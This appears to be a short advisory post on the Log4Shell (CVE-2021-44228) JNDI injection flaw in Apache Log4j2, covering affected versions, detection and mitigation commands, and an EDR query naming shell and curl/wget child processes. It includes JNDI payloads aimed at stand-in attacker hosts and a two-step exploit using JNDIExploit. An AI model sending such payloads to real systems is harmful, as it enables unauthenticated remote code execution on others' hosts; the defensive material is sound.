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CVE-2021-44228, known as Log4Shell, is a critical remote code execution vulnerability in Apache Log4j2, a widely used Java logging library. The flaw resides in the library’s JNDI (Java Naming and Directory Interface) lookup feature. Log4j2 supports message lookup substitution, allowing dynamic values to be inserted into log messages using a `${prefix:name}` syntax. One supported prefix is jndi:, which enables lookups via protocols such as LDAP, RMI, and DNS. The vulnerability occurs because Log4j2 evaluates `${jndi:…}` patterns found not only in operator‑configured lookups but also in logged data itself, including user‑supplied strings. When an application logs an attacker‑controlled value—such as a `User-Agent` header, a username, or an HTTP parameter—containing a payload like ${jndi:ldap://attacker.example.com/a}, Log4j2 performs a JNDI lookup to the attacker’s server. The malicious server can respond with a reference to a remote Java class. Under the right JVM conditions, Log4j2 fetches and executes that class, granting the attacker code execution on the vulnerable host. No authentication is required, and often the only interaction needed is the application logging a crafted string. The vulnerable JNDI lookup behavior existed in Log4j2 from version 2.0‑beta9 through 2.14.1. The exploit was first widely publicized via Minecraft chat messages, but the same one‑line payload works against any Java application that logs untrusted input through a vulnerable Log4j2 version. Because Log4j2 is a foundational dependency embedded in countless enterprise applications, cloud services, and security appliances, the practical impact was enormous, leading to one of the largest coordinated patching efforts in software security history.
DailyCVE Form:
Platform: Apache Log4j2
Version: 2.0-beta9–2.14.1
Vulnerability : JNDI Injection RCE
Severity: Critical
date: 2021-12-09
Prediction: 2021-12-10
What Undercode Say:
Check Log4j version in a JAR file
unzip -p log4j-core-.jar META-INF/MANIFEST.MF | grep Implementation-Version
Detect vulnerable JNDI lookups in running Java processes
jcmd <pid> VM.system_properties | grep log4j
Test a target with a JNDI payload via curl (educational)
curl -H 'User-Agent: ${jndi:ldap://attacker-ip:1389/a}' http://target:8080/
Check if JndiLookup class exists in a JAR (mitigation check)
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Set the mitigation flag for a Java application
java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
Detect suspicious child processes spawned by Java (EDR query)
process where event.type in ("start", "process_started") and
process.parent.name : "java" and
process.name : ("sh", "bash", "dash", "ksh", "tcsh", "zsh", "curl", "wget")
Exploit: (Educational Purposes!)
Step 1: Start a malicious LDAP server (using JNDIExploit or similar)
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i attacker-ip
Step 2: Send the JNDI payload to a vulnerable endpoint
curl -H 'X-Api-Version: ${jndi:ldap://attacker-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' http://target:8080/
The Base64 string decodes to: touch /tmp/pwned
Protection: from this CVE
Upgrade to Log4j 2.15.0 or later. If immediate upgrade is not possible, set the system property `log4j2.formatMsgNoLookups=true` or remove the `JndiLookup` class from the classpath. Apply vendor patches as they become available. Monitor for suspicious child processes and network connections to unknown LDAP/RMI servers.
Impact:
Unauthenticated remote code execution. Attackers can execute arbitrary code, install malware, exfiltrate sensitive data, pivot to internal networks, deploy ransomware, or disrupt services.
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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